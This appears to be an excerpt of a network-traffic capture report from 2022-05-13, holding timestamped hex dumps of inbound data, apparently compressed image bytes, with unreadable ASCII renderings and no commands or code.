f0 a8 f6 ed 9f fd 46 c4 fb 9e 64 7f c0 d5 24 2c d2 47 1c 8d 1e f6 64 df ff 00 01 a7 73 42 ba ed 97 f7 df f2 d5 51 93 cc a9 24 
85 5a 48 e3 58 e4 ba 76 45 99 fc b7 f9 f6 fa d4 8b 1a f9 fb be e3 ec d8 f1 cf f3 fc b5 1c 6a cc 91 f9 72 47 fb df bf e6 7f 07 
a6 28 b8 3d 42 de 3d b2 49 1b 7d c6 7f f9 67 f3 bb ad 42 d3 7d 96 3d cd e6 79 ad f7 e3 fe a7 fd aa b5 b9 7e ea fe e1 17 
e4 7f 31 fe 4a 85 9a 3f 22 48 7e e6 ef f8 07 e6 68 b9 36 1b 24 3b 63 db 1f c9 bb fe 5a 7c af f3 54 30 c7 ba 39 24 68 e3 4f e
0 4f 9f 7a 54 92 6d 5f dd af 99 b1 76 a7 99 f2 bf cb f4 a6 ac 71 4d 75 26 e8 fc ff 00 93 ef c7 fc 7f ef 1a 69 f7 2d 07 cd 17 
99 e5 c7 f3 b7 fc b4 ff 00 9e 
Data Ascii: gq~fH7>*o_#hZ/1Fd$,GdsBQ$ZHXvEjrG(=B=I}gB}=y~1J?"H~h6$;cZ|T09$hOOzTm_vqMu&i-

2022-05-13 14:42:07 UTC 2725 IN Data Raw: df ea d9 52 37 78 be 7f de 7f 02 f7 aa 71 dc 45 e6 79 8b 1c 68 fb 3e 78 1f f8 f6 f7 f6 ab 12 36 e8 24 99 7e e6 cd
9e 5f fb dd bd d6 b3 6e e6 12 d1 8e dd 12 c9 23 2b ec b7 6f fb e3 6d 47 0b 4e bf 32 f9 8e ff 00 c1 1f f0 6e f4 a6 f9 de 54 
71 c7 34 7b 13 ee 7e ee a6 68 ff 00 d5 fe ef 7b ec 64 7a 81 5a c4 72 49 b9 23 92 3f 9d 19 3f d5 c7 fa 9c d3 66 6f 36 3d d2 
47 bf e4 d8 fe 5f c9 f7 68 f9 62 83 fd 67 ef 7e e7 97 1a 7c 8f 50 c3 70 fe 5c 9f bc f9 76 7c fe 67 f5 ab 42 8d 9b d4 24 be 5d 
f1 c9 0f c9 17 df fd e3 ef f9 bd bf ad 12 2e d8 e3 f2 67 d8 f1 7f df 0f 4d 59 17 cc 8e 49 1e 4d 8b bb fd 5a 2e f7 a8 e6 65 f3 
23 92 3f bf bf ce f3 3e fa 3a ff 00 bb 5a 1b f9 16 96 1f b4 4f ff 00 2d 3f bf e6 49 fe 35 1c 77 4c be 62 c7 3c 73 ee f9 1e 4d 9f
72 a9 c9 0f 95 f3 5c 49 
Data Ascii: R7xqEyh>x6$~_n#+omGN2nTq4{~h{dzZrI#??fo6=G_hbg~|Pp\v|gB$].gMYIMZ.e#?>:ZO-?I5wLb<sMr\I

2022-05-13 14:42:07 UTC 2902 IN Data Raw: 9b 3c 9f f6 fe 5a 9b 11 cb 6e a5 85 bc 68 3e 66 fb ff 00 37 ee ff 00 dd fe b5 5f ce dd 02 49 1f ef 9e 5f 9f cb 91 f6 
3a 7a d1 e7 7f ac 91 63 d8 8b f2 79 ff 00 dc a1 a3 db 24 6c d2 47 fb df b9 24 75 04 b2 c4 92 2c d0 47 23 3e f5 97 e4 7f e0 
f9 69 ad 34 b2 c9 27 fa c7 45 db b2 38 fe 44 4f f3 fd ea 85 56 25 8e 3f de 46 8e bf 72 09 3f 9d 1e 67 da bf 76 d2 7c ed f2 
24 9f dc a0 56 24 f3 25 68 ff 00 77 24 9b e2 9b e4 f3 3f bb 56 24 9b 6c f1 b2 c9 e7 c5 fc 71 ff 00 b5 50 c9 0f 9b 24 8d f7 13 
e5 df e4 7c 9f 35 55 86 ea 79 64 da db 13 f7 db 12 4f b8 9b 68 2d 16 21 65 b3 be 93 77 98 ea bb 7f 7f ff 00 02 a9 ad e6 95 
6e a7 68 fe 7d cf f2 47 bf ef d5 1f b4 7d 96 3d de 44 68 9b 19 de 38 ff 00 ad 5a d3 66 56 8f 6a f9 69 13 7c fe 64 7f c1 ba 
90 8b cb 22 f9 71 f9 32 7c f1 
Data Ascii: <Znh>f7_I_:zcy$lG$u,G#>i4'E8DOV%?Fr?gv|$V$%hw$?V$lqP$|5UydOh-!ewnh}G}=Dh8ZfVji|d"q2|

2022-05-13 14:42:07 UTC 2918 IN Data Raw: c4 f9 13 6f 65 a4 3b 97 96 fb ec b3 f9 d2 49 24 1b 76 ec f3 3f ba d5 d7 68 77 9f da 90 49 e6 49 be 55 7d e9 fe 
ed 70 b2 37 94 fb a1 8f c8 76 45 74 49 3e 7f 9b f1 ae 8b c1 6d ba ea 45 93 cc 7b b6 ff 00 5d 1c 6f f9 56 33 8e 97 43 8e e7 
4d a8 43 bb 4d 92 66 8f 66 df f8 1d 71 b3 2f da 24 9d 64 f2 d1 17 e7 df f7 dd eb ba 9a 35 68 e4 b7 8e 3f 3d ff 00 e7 9f ff 00 
5e b9 1b eb 76 fb 55 c4 7e 64 7b d7 e7 4f 33 fb b5 11 7a 9a cb 73 2d 63 dd 04 6b 1c 7f 79 f7 bd 58 55 7b 7f 33 ce f3 13 
e4 6f dd ff 00 1a 7f b5 4d 56 5b 89 23 56 8e 4d f6 ff 00 f2 d2 44 64 74 dd fd df 6a 37 4b f6 5f 25 63 8e 74 5f f9 67 22 7d cf 
71 5a 11 7b 04 3b bc bf de 49 1e c6 4f f5 9f c7 ba ab af cd 24 92 4d e6 22 2b f9 2f 24 9f c7 f4 02 a4 92 36 96 39 15 64 de f
b 17 7f fb 74 d9 24 fb 45 bf da 24 
Data Ascii: oe;I$v?hwIIU}p7vEtI>mE{]oV3CMCMffq/$d5h?=^vU~d{O3zs-ckyXU{3oMV[#VMDdtj7K_%ct_g"}qZ{;IO$M
"+/$69dt$E$

2022-05-13 14:42:07 UTC 2950 IN Data Raw: 2b ac 8b 7f 27 93 34 7b e5 5f fb e1 1b d7 fe f9 a6 dc 4c d6 f7 52 49 e5 c8 f1 2e d4 9a 4f e3 f6 c5 5c 6b 86 58 
e4 55 8e 37 da 9f 3c 9f c0 9f 4a 6c 8b 2f ee da 6f 9d 1b fb 9f 7f 75 31 a5 60 fb 3f fa 54 73 2f df fe 0f f6 37 53 a4 db 14 7b 
a6 9e 4f 93 e7 7f f7 be 9f c5 52 79 6a b3 c7 f6 78 e3 4d 9f 7e 3d 9f d6 9b 74 b0 4b 1c 90 f9 90 6c 6f 9f ee 7c fb bf de a2 e1 
d4 8e 69 99 a3 8e e3 cf fb af f2 49 1a 7c ff 00 8d 37 ed 92 cb 24 91 af fb ff 00 73 66 fa b5 1a c5 14 9e 5f 99 e7 a7 fa e4 f2 
fe 7a a7 0c cd 2c f0 32 f9 90 4a c8 c8 9f 77 e7 5a ae 61 14 e6 87 f7 fe 67 99 bf 6f fa ef f8 15 4d 0e d9 64 8e 35 92 3d ea 9f 
25 36 68 db cc 8f 6f c8 fb fe 48 e0 f9 1d 3d 71 9e b4 79 6a ba 6c 6a b2 7c 9b 36 27 97 b7 7a 33 36 69 dc be 96 09 1a 28 
ad 63 5f 2e 3f fb e1 b7 bf d2 
Data Ascii: +'4{_LRI.O\kXU7<Jl/ou1`?Ts/7S{ORyjxM~=tKlo|iI|7$sf_z,2JwZagoMd5=%6hoH=qyjlj|6'z36i(c_.?

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 2982 IN Data Raw: b7 17 9f bb fd cc 9f c7 b1 fc bf 91 fe f5 74 02 3a 48 e6 fd c4 6d e5 ce fb 91 7f 8e a4 f2 da 5f 32 35 f3 3c ad 9b fc
cf f3 f7 69 ad 33 43 24 12 37 fa dd 9f 24 7f c7 f8 d5 c8 6f b7 4f f2 c7 b3 77 fc 0f 7b 2f 6c 52 6e c0 b7 33 66 9b ed 1e 62 f9 
9b 11 bf e7 a2 7c e9 f4 35 73 4b f2 16 09 26 87 e7 9b f8 3e 7d 8e ff 00 de 35 97 a9 34 b2 c9 b6 49 3e 47 f9 f6 46 9b df 77 
b2 8a bd 63 24 56 b0 5a 4c df b8 4f 27 e7 8e 47 57 de b5 8c a5 72 8d 09 24 f2 a3 8e de 3f 91 3f 83 f8 36 53 6d 64 56 b5 
dc b2 48 e9 2a 6c 79 36 7c fb 6a 38 5b 6f ef 3c bf 93 e6 4f 32 4f 9d fe 6f e2 fc aa 38 e3 97 ed 5f df 4f b9 fd ca 8b 81 a0 b3 
33 47 1c 6b 24 7b 37 f9 29 1f dc d8 be b5 5e 66 f3 6e a4 58 fc c8 1b e6 f2 63 93 e4 44 f5 dd 50 af 9f 75 1f 9c de 5a 6e 76 
d9 1c 7f 7f fd da 87 ed 50 7e 
Data Ascii: t:Hm_25<i3C$7$oOw{/lRn3fb|5sK&>}54I>GFwc$VZLO'GWr$??6SmdVH*ly6|j8[o<O2Oo8_O3Gk${7)^fnXcD
PuZnvP~

2022-05-13 14:42:07 UTC 3053 IN Data Raw: ec 6a 1b a9 16 d7 64 6b 1c 68 92 a3 3a 79 9f 3a 7c bd e8 92 6f b2 da f9 2b 26 c7 6d af e5 c8 9b de b2 fc e5 
59 37 48 f2 3a 4b bb f7 71 fd ff 00 cb fb b5 6b 41 a3 62 1d 41 9a 4d bf bc 49 77 ec 86 38 fe 7f dd 7a 9a e9 34 b9 a0 f2 e3 
99 63 8f ed 1b f6 79 1f c1 b6 b8 3d b2 c9 26 d5 f9 3e 4d ff 00 7f 65 5c d3 f5 89 f4 d9 3c c8 7f 89 37 cd 26 cf 93 e5 f6 a8 a9 
1e 68 d9 08 f5 68 74 98 be c3 27 93 24 1e 6b 22 a7 ef f6 be cf af 7a c9 be f0 eb 5c 5a c9 e4 fd f6 75 fd e6 c5 4f c7 da b9 
bb 1f 19 2c 57 1f 68 9b cb df ff 00 a1 b7 6a 9b 52 f1 63 37 98 ad 27 ef 76 2b bf 99 f2 3b af 5f 97 d6 be 67 15 4a bb 56 b5 
d1 cb 25 51 3d 1e 86 e6 9b ba 28 24 86 ea 49 27 f2 be 44 8f fb f5 97 e2 4b 76 bc b5 9e 6b 88 24 82 26 f9 12 3d 9f e3 4e 
f0 8d f7 db 23 f3 21 91 13 74 cc ef 1f df 
Data Ascii: jdkh:y:|o+&mY7H:KqkAbAMIw8z4cy=&>Me\<7&hht'$k"z\ZuO,WhjRc7'v+;_gJV%Q=($I'DKvk$&=N#!t

2022-05-13 14:42:07 UTC 3316 IN Data Raw: 2b ae b5 7b c5 24 f4 3b e5 2b 22 bf 97 3a c9 3a af 98 fb be 77 78 df f4 aa b7 1f bd f9 5b f7 1b 53 fd 66 cf be df 
d2 b7 2e 99 5b c8 8d 64 8e 07 6f 9d e4 93 f8 36 ff 00 08 ae 37 c4 5a e3 58 4f 3a dc 47 be 25 46 fd dc 7b be f5 79 29 73 4f 
43 cf 92 72 76 45 cb 8b a8 ad ed 67 65 f9 dd 7e e7 f8 57 8a fc 46 9b 6f cb 1a 49 e6 b2 6c 7f 2f 76 c4 dd 5d f4 3a a3 5c 47 
25 bf 99 fb d9 5d 5f f7 7f c1 bb ee f1 5c 7f c4 2b 58 16 d6 4f 32 3d 8f e7 2e c9 23 7f 9f e5 af a5 c1 c7 96 3a 9e 8d 25 65 66 
71 fe 03 d2 7f 7f 1c 91 f9 88 9b 3f 7d e6 6d fd f3 7a d7 b2 58 db ad 9c 7e 62 f9 93 cb b1 53 fb 89 fa 57 9c f8 16 d5 9b ec 9
1 f9 90 3a 2e ed f1 c9 fc eb d0 a3 93 ca d3 63 9b cb 93 62 fc 9e 5f cc 88 8b eb f8 d7 a5 ca a3 b1 b7 52 3f 13 2f d9 ed 67 
58 6e 23 9f 73 ae c9 36 7d cf 6c 
Data Ascii: +{$;+"::wx[Sf.[do67ZXO:G%F{y)sOCrvEge~WFoIl/v]:\G%]_\+XO2=.#:%efq?}mzX~bSW:.cb_R?/gXn#s6}l

2022-05-13 14:42:07 UTC 3419 IN Data Raw: 9b 60 8d a3 bb 91 12 28 5b f7 91 fc f2 ed f6 cf 5f 7a bd ae 78 66 3b 89 2d 3e d9 1c 69 16 fd ef e4 6e f9 15 7a 
57 51 a0 fc 3d 9e 5d 56 d2 49 93 fd 12 d5 15 d2 7f 23 e4 7e fd 2b f4 5a 99 86 1e 11 6e 72 b5 89 75 63 17 ef 33 16 f3 41 
95 a0 b4 9a 18 24 df bd 5d fc 8f 9f e6 ff 00 81 56 2e b5 7d 3e 97 7d 69 e6 5d ff 00 ad 99 b6 41 23 af fe 83 fe 15 ee d7 5a 
0c 4b 63 e4 db ff 00 c7 bb 7d c8 e3 76 fb db bb 1a f2 5f 11 68 b6 7f da b1 b2 da 7d b6 f5 9d a1 79 20 fe 0f f7 96 b8 b0 58 
e5 8c a9 a6 85 c2 aa 9e c6 4c 31 fd bf 55 9d 56 3f 3d 3f 76 90 c9 23 fc fb bf f8 91 eb 5d 76 87 6f 3d bc 1f bc 93 fd b9 a3 8f 
e4 44 db df 68 fb ff 00 ef 57 2f 67 0b 2d d4 6b fb c8 3e cb fb 9f 33 67 c8 8d fd df a5 75 d6 72 4b 75 1c 0a b2 48 e8 ae db 
24 8f e4 7f 96 be 84 be 53 43 c3 eb 17 
Data Ascii: `([_zxf;->inzWQ=]VI#~+Znruc3A$]V.}>}i]A#ZKc}v_h}y XL1UV?=?v#]vo=DhW/g-k>3gurKuH$SC

2022-05-13 14:42:07 UTC 3467 IN Data Raw: ad cc ae ee 47 7d 34 56 7a 6d dd ac df e9 b7 6a ff 00 b9 8f fb ff 00 36 2b cd 7c 75 63 3a da f9 37 1f 3a 2f ce 92 
27 f7 bd ab a8 be bc 9f 56 ba db fb f4 4d 9f 24 72 26 cd fb 7d 31 58 3e 30 9a 05 d1 e4 5b 88 e3 fb 6a ba ba 41 1f c8 9f 35 
77 ef 24 cf 52 8c 99 e5 f6 3a b5 e4 57 d1 b7 9f 07 ca 8c ef 1f dc fd d5 74 56 ba b4 ba bd af d8 db 63 ca a9 b1 3c b4 d9 b1 
bf 87 fd e5 af 39 d5 a1 69 75 c8 23 b5 8e 3f b4 2c cd fb c9 1f 7f e9 5e 91 a0 aa cb e5 de 4d fe 95 2c 5f 23 f9 9f 22 57 bb 
51 c6 9c 14 9e e7 7c 5b 7d 4c 95 d1 d5 a4 f3 24 92 3d ea ff 00 be 93 66 c4 46 5f e1 ac 3f 0f e8 2d ac eb 12 68 be 46 f7 5f 
f4 8f 2f fd 9f c6 b7 bc 4d e2 6b 3b 09 24 92 3b 7f b5 3f dc 78 e3 fe 06 5f f6 7f 8a b2 7e 15 eb 9f e9 d3 ea d0 f9 89 fb e5 d9 
24 9b 7f 85 ba 1f 6a cd d6 93 a7 
Data Ascii: G}4Vzmj6+|uc:7:/'VM$r&}1X>0[jA5w$R:WtVc<9iu#?,^M,_#"WQ|[}L$=fF_?-hF_/Mk;$;?x_~$j

2022-05-13 14:42:07 UTC 3490 IN Data Raw: 3a 23 ca a9 49 ce 57 46 b4 d1 fd 9e 0f b0 af 99 bf 7f fa f9 13 7a 6d ff 00 6b fa 57 9e f8 b3 5a 9d ad ee ed 66 82 
4f 35 bf 72 91 c8 eb f3 af fb 27 a5 5c f1 67 8d a2 8b 4d bb d4 16 4f f5 a8 b0 a4 91 ff 00 80 3c 2d 78 ee ad e2 6f ed 2f 11 
c6 b0 f9 7f 67 54 ff 00 47 8f 7a bf cc bd 76 ee f5 ac bd 8c dd ef 13 a3 0f 49 c3 e3 47 79 a0 c3 02 dd 58 43 1c 9b e2 b7 45 
9a ee 3d 9b df fc ff 00 b5 5f 44 69 7e 28 d2 96 c6 08 ed e3 d9 14 48 af fb b7 54 77 56 fa fd e1 5e 17 e0 18 e0 d4 ad 6f da 
3f b8 df 24 53 ef 57 df ed fd ea ec a4 f0 dc af 07 d8 7c bf b5 7d d4 7f 2f e4 d8 b5 e4 63 a9 c6 4d 46 4e d6 36 9b 8a 7a 93 
6b 5e 2e b1 f1 35 f7 ee e0 81 e2 f3 9a 18 7e cb f2 7f 3f e9 54 ec fc 22 d7 16 be 74 91 c1 fc 4e ef 1b ec 78 7f d9 fa 8a ab 6
7 e1 58 34 d8 e3 b7 93 e7 7f bf fb 
Data Ascii: :#IWFzmkWZfO5r'\gMO<-xo/gTGzvIGyXCE=_Di~(HTwV^o?$SW|}/cMFN6zk^.5~?T"tNxgX4

2022-05-13 14:42:07 UTC 3586 IN Data Raw: 79 91 d7 2f 7d a3 c5 6f 3c 76 b2 4f bf 72 7f cb 74 fe 2f f6 be b5 d1 78 5e 66 fb 0c 16 b0 fc 91 2a 79 df bc ff 00 
d0 6b 9e a5 45 14 28 c9 1b cb 6e ab 3c f1 c9 1e ff 00 37 e7 fe e3 fc bd 4d 49 79 a7 bd ad ac 72 47 06 c9 7e e4 32 7c ae 
e8 b5 97 6b ab 7d be 7f 26 1f 32 ea 5f 3b f7 d1 c7 f2 3b b7 ad 6a 43 63 73 7f 1c 8b 27 dc 5f bf e5 a7 f1 76 e6 bc da 95 b9 
9d ef a1 12 9a 94 92 47 8f fc 40 d1 e5 4d 4a 45 59 37 fc ff 00 3f ee 3f 8b de b1 74 5b 88 b4 e8 3f d2 92 7f b9 b2 68 3e 5f 
9e bd 9b 5c f0 1b 26 9b 23 5b fd f5 fb f1 c8 9f 7d ab c5 fc 45 a6 cf 2e b9 1f f7 36 7e fa 38 ff 00 d9 ae bc 2c 95 48 dd 3b d8 
55 22 e2 ae c8 7c 51 71 3c 3a 6c 77 16 f1 ec 4f f9 63 24 8f f7 fd 42 ad 65 fc 3f 91 75 4d 4b ec ed 04 9f 67 fb 9e 7f fb b5 e8 
d0 f8 66 5b cd 0e 4b 88 7f e3 d3 
Data Ascii: y/}o<vOrt/x^f*ykE(n<7MIyrG~2|k}&2_;;jCcs'_vG@MJEY7??t[?h>_\&#[}E.6~8,H;U"|Qq<:lwOc$Be?uMKgf[K

2022-05-13 14:42:07 UTC 3602 IN Data Raw: 46 be 9e df cc 91 11 bf e7 87 dc 4f f8 17 f0 fb d7 ac 49 0f f6 e6 95 63 75 f7 11 61 f9 20 fb 9f ef 71 5c 2f 92 d6 
be 23 f3 2e 3c c7 45 46 f3 bc cd a9 f2 ff 00 07 03 8c 9a e9 95 15 cd cc c7 4e 5c b1 3c ff 00 c4 9e 1f 95 be 6f 2e 3d ff 00 33 
a4 9b fe 47 97 77 f1 37 dd db e9 5e 7f 67 0b 6a 93 f9 37 50 49 27 cf f2 47 3b ff 00 87 f0 d7 d1 9e 24 d2 62 6d 2a c2 39 3e 
4f bd be 38 d3 e4 da de 9f dd af 1b bc 8e c7 fe 12 a8 d5 ae ff 00 7b 2f ce 92 47 f3 ef 55 f6 fe f5 79 98 89 25 2e 4b 58 de 
12 ba b3 2e 69 b6 bf 6f d3 60 8e f2 3f b2 ed fb 9e 63 fc ff 00 37 de cf ff 00 14 d5 47 5a d1 7e cb 24 7e 64 1f 65 8b c9 64 f3 
20 7d fb d5 7e bf 35 75 16 32 2b 41 3b 2c 12 3c b2 cd b3 cc 91 3f 87 e8 2b 17 5c b8 f3 67 9e 46 fd de d4 d9 e5 c7 f3 be 
de 95 cf 34 ad 73 39 2b 48 e4 f4 
Data Ascii: FOIcua q\/#.<EFN\<o.=3Gw7^gj7PI'G;$bm*9>O8{/GUy%.KX.io`?c7GZ~$~ded }~5u2+A;,<?+\gF4s9+H

2022-05-13 14:42:07 UTC 3658 IN Data Raw: 0a 2a 34 df bc 4f 9e 65 6e ff 00 ec d7 03 ad 2c 5a 95 ac 96 f1 c7 b2 5d fb 26 fd c7 f0 b7 4a ea 82 bc af d4 ec 
a3 16 db b9 a1 63 a9 4f 67 71 25 c3 49 24 ef 2c db 3c c8 e4 df fb af ef 05 fb d5 e9 de 17 d5 2c ff 00 b4 a0 b7 ba 93 62 6c 
5f 3a 7b a4 6d ef b7 9e 82 bc 5f ec 7f 63 f3 2d da 49 1e dd 7f 73 e6 7f 1f b8 cd 6e 78 4f 50 b9 b7 d4 bc b9 2e e7 f9 51 5e 
19 27 fe ef f7 4e 6b 5a d8 68 d4 b3 5d 0d 9c 6f a9 ec de 3a ba 95 a4 bf 86 d7 cb 9e d2 58 7e 49 f7 fd f8 97 a5 70 3e 15 d1 
60 b8 ff 00 4a b8 f9 22 de a8 f1 fd ff 00 f8 11 ab 57 17 1e 56 87 e5 f9 91 c1 b7 f8 24 7d e9 b7 eb 51 c9 ab 2d ad 8e d8 7e 
7f 91 7e 4d ea 9b ff 00 fb 1a da 9c 1c 2e 98 94 5d 8d cf 1a 6a 1f e8 32 42 b6 91 fd 9f ee 24 90 7f 07 a7 4e b5 e2 77 96 ba 
9e a9 7d 1f f6 7c 1b 1e 2f 92 e2 ef 62 
Data Ascii: *4Oen,Z]&JcOgq%I$,<,bl_:{m_c-IsnxOP.Q^'NkZh]o:X~Ip>`J"WV$}Q-~~M.]j2B$Nw}|/b

2022-05-13 14:42:07 UTC 3753 IN Data Raw: e1 f5 59 a4 f3 23 f9 22 4f 92 48 3f 8f 77 7c d6 d7 da 22 b8 b5 9d 61 9e 0f de ed 99 3f 8f ee f5 cf f7 6a 9d d3 2d 
d2 4f 34 72 5d 3c ad b5 1f cc f9 36 7d 3f d9 af 37 db 4b 9a d7 17 b4 97 29 c6 f8 f3 43 9d 7c b6 8e 49 fe c9 14 2c 8f e6 3f 
f1 37 19 c5 73 fa 0e e8 a7 b4 8e e2 48 e7 b4 b5 4f b3 f9 8e 9b 36 7f f6 55 d2 78 aa eb 74 71 db f9 92 4e f1 23 43 ff 00 d7 
fc 2b 93 d3 ed 6e 6e 2d 64 69 24 df 2b 6e 4f 2e 44 fb fe f5 f4 f8 7d 29 a6 ce f8 cb dd b3 3b ef 85 33 59 dd 6b 92 47 0c 9f 
6a 97 ce 6d f1 cf fd d5 af 68 be b8 b6 8b 4d 92 46 8e 3f b3 fd f4 82 3f 91 d1 bd 7d eb e7 df 85 ba 0e a7 6f e2 09 26 9a 7f 
3e 2d ff 00 ea e0 f9 3e ef a9 af 5a f1 15 e3 5c 47 e5 ac 7b d3 ff 00 40 5f f6 7f da ac 6b cd 5a 57 dc a6 ed 32 8e 97 ae 7d a
3 5c 8e ea 38 f6 4b 6b bb 62 49 f3 
Data Ascii: Y#"OH?w|"a?j-O4r]<6}?7K)C|I,?7sHO6UxtqN#C+nn-di$+nO.D});3YkGjmhMF??}o&>->Z\G{@_kZW2}\8KkbI

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 3825 IN Data Raw: dd 5e 57 e3 2d 41 5a fa 39 a1 92 44 dd ff 00 2d 23 4f 9f 75 6b 43 ad 4f fd 8e 8d 6b 1c f0 6d 45 79 a4 8d 36 3a 
7e 35 c5 89 8d 49 53 8c a2 f6 39 27 09 5b 9a 2e c6 6e 97 e1 9f f8 45 7c 41 25 c5 8f ce 8c ff 00 3c 71 cf f2 22 fb d4 3e 3a 
f1 43 5f c9 25 ac 90 4f 04 ad f2 24 ff 00 c0 8a bc ed c7 65 6a b9 a1 f8 a1 7f b5 7e ca d1 c7 3f c8 d3 79 90 7c 9f 99 f5 ac 5f 
16 5b aa cf 3d c5 c4 7f e8 f1 42 bf bf 93 f8 db b7 e1 5c 54 d5 f7 d4 e7 49 b9 6a 71 77 50 cf e7 c1 a8 2a 26 f8 93 fd 67 df f2 
6b aa b7 d5 96 f3 c3 37 71 cd 3f da ae 22 da ff 00 73 62 3f f8 56 2f 88 b5 4b 6b 8f b2 47 67 fc 3b 53 cb 81 3e 4f 9b d6 aa f
8 7d 5a d7 cc 59 3c f8 3e d1 71 e4 cd 04 89 bd 1d 5b fb b5 ed e0 e8 41 c9 37 ba 3a a8 fc 46 c6 83 e0 db 69 75 28 1a e1 
e7 4b 49 7e 4b 7f 2f 77 de ea 71 fd 
Data Ascii: ^W-AZ9D-#OukCOkmEy6:~5IS9'[.nE|A%<q">:C_%O$ej~?y|_[=B\TIjqwP*&gk7q?"sb?V/KkGg;S>O}ZY<>q[
A7:Fiu(KI~K/wq

2022-05-13 14:42:07 UTC 3912 IN Data Raw: 9a 0d e8 bf 7e 0f 97 f8 7f 85 8d 73 aa cf 6b 97 08 45 ea ce 92 d7 c5 5b 63 f3 a3 b4 9d e2 b8 da 89 fd f7 5f ef fb 
35 6d 49 75 67 aa 47 e4 db cf b2 de 2f bf 1c 9f f2 c5 bd fe b5 cf f8 76 d5 7e cb 24 d6 fe 5c 0e bb a6 f2 e4 46 fb d4 db ab 
5b e8 af a4 ba f2 e7 9e 2f be f0 46 9b f6 7c bf 77 e9 4d d6 e5 46 9e cd 18 3e 2a d2 e7 d3 75 28 ef 21 fd fc 5e 77 fc b3 7d 
88 fb bb 7f bb 59 f0 d9 cb e7 d8 47 24 1f bd b8 db b3 cc 4f 9d 3f e0 54 df 10 78 ca 5b cd 56 3b 1b 59 3e 56 75 fd de ff 00 
93 e5 ae 83 4b b5 d5 ec ee a3 d4 3f 79 bd 93 7a 47 3f f7 7d 7f c2 b8 ea 55 8c ae ee 57 25 95 99 cd f8 9a d6 f2 2d 0e 49 2f
a3 7f b4 44 fe 4a 5d 5a bf df dc df 2e 53 fb 95 cc e8 3a c5 f6 93 05 dc cd e5 a2 5b bf d9 3f 79 f7 d3 7f 56 f7 af 44 f1 b7 89 
2c 6d e0 bb 6f 2f c8 8b 62 fe ef 
Data Ascii: ~skE[c_5mIugG/v~$\F[/F|wMF>*u(!^w}YG$O?Tx[V;Y>VuK?yzG?}UW%-I/DJ]Z.S:[?yVD,mo/b

2022-05-13 14:42:07 UTC 4111 IN Data Raw: 68 32 49 1c 96 92 41 2d ac cd e7 47 b3 7f ca b5 ce f8 fa 15 b0 be 9e 6b 18 23 f2 97 fd 23 f7 6f bf 7a ff 00 4c 57 
a4 7c 54 b8 9f 4d d6 64 d4 2c 64 8e 74 64 de f1 ef d9 b2 bc 9e e2 6f b2 fe e6 18 e4 fb 0d c7 cf e6 49 fc 6d fd da f5 70 d5 
7d ba e6 d8 fa 0c 23 72 8f 33 32 f4 bf 1a 35 c4 91 c7 34 1b 22 f9 53 cc 91 eb 91 f8 b5 6b 6d fd ab 77 b7 cb 77 d8 b3 7f d7 
66 6e 91 fe 15 d1 5d 5b cf e6 49 b7 cb 82 28 93 ce 78 dd 3f f1 da f3 5f 1f 78 9a 38 35 cb 19 24 7f 31 21 7f dd 41 1a 6c df 
e9 cd 76 c2 9f 2c 93 3d 69 5a 4b dd 3b 4f 87 f0 ea 6b e1 94 86 ea d2 e9 3e ce 8d b3 cf fe 05 ff 00 3f 76 a6 d3 db ec f3 c7 
71 1c 93 be d4 54 f2 f6 2c 49 f7 bf 5a f4 cf 00 cd a6 78 9b 43 8e 15 8f c8 95 a1 f2 7f 79 f3 fc ab f3 7e 35 c3 f8 f3 c3 bf 60 
8e c5 6c fc cd 9b f7 cd 24 8f fe 
Data Ascii: h2IA-Gk##ozLW|TMd,dtdoImp}#r3254"Skmwwfn][I(x?_x85$1!Alv,=iZK;Ok>?vqT,IZxCy~5`l$

2022-05-13 14:42:07 UTC 4127 IN Data Raw: df db fe f1 1e 54 57 87 cc 7f e1 ad ab ab c9 ec f4 ad 5a ea 38 24 f3 76 2f ee e4 f9 13 77 f8 7a d7 27 ab 5f 2d d4 
ff 00 68 ff 00 9e be 5a 27 97 f3 ff 00 0f 35 ed 29 73 a8 af 43 bd a3 5a 3b 76 bc 8e 4d 41 ad 36 5c 33 aa 7f b1 f2 af 61 9f 99 
4d 61 c9 71 6d aa 5d 49 1b 47 e7 da 6f 57 f2 ee 93 62 6e dd 4e 93 56 66 b1 83 fd 62 44 c9 b3 cb d9 f3 fd ef bd f4 ab 9a 0d
aa d8 58 c8 b0 cf e6 79 4f bd 2e be ff 00 ca de ac 7e f0 ff 00 66 a2 ea 3a b0 a7 15 7d 4a 3f da 4d a6 fd a1 5b c8 77 b7 9b 
fe 5a 3a a7 ca df fa 15 71 7f 10 b5 c8 9a 48 3f b3 64 8e 79 77 ab f9 11 a6 c7 46 f5 ff 00 6f e9 5d 17 89 b4 b5 96 78 e4 f3 3
6 3d d2 7e fa 77 8f ef fd 07 f0 d7 1b e3 08 fe c7 a5 47 75 27 99 05 c5 be e7 fd de df 9d 57 8c 62 bb a9 d0 8b b4 af b9 12 
56 4d a3 a4 f0 be ac ba b4 11 c7 
Data Ascii: TWZ8$v/wz'_-hZ'5)sCZ;vMA6\3aMaqm]IGoWbnNVfbDXyO.~f:}J?M[wZ:qH?dywFo]x6=~wGu'WbVM

2022-05-13 14:42:07 UTC 4214 IN Data Raw: 3f e3 e3 cb d9 f2 7d 19 6b 93 f8 89 a7 ad c5 8c 73 47 24 7b 3f d7 79 9f c0 9b ba 7b d6 b4 a3 1f 69 ab d2 e7 75 
19 73 49 1c 3d 8d f2 da c9 3d d4 3e 5b ee 99 51 e3 83 6e f4 db dd 97 fb d5 e9 de 1b ba 6b 5b 58 ee 23 f2 20 b7 ba dd fb 
b9 3e 77 f3 7d 6b c9 ec ed e5 b7 be f2 e6 8f 65 be fd 89 24 ff 00 c7 ef d2 bb 2d 0f 5e 8a ce 08 e3 99 36 26 fd 8f 24 69 fc 
5d 8d 7a 78 ad 63 a1 e8 ca 3c c8 f4 4d 07 c4 53 dd 49 f6 19 1f c8 b8 ff 00 97 8f e0 df ff 00 01 ae 3f c4 1a a2 e8 77 de 74 
d2 7c ed ff 00 2c e4 ff 00 3b 4d 74 11 e8 ed 15 f4 77 10 c9 bf cd 87 7f da be fb a5 73 7e 2e d1 6f 2e a0 b4 91 60 d9 f3 b4 
de 46 cf 93 fd af 97 de bc ac 2c b9 ab a8 d4 d8 f3 1c 61 ed 17 63 6b 4f d5 1b 52 8f c9 8e 09 de 29 53 7f 99 b3 e4 ad 0f ec 
fb 38 ac 64 9a 19 e0 df 17 c9 e6 49 b9 1e 
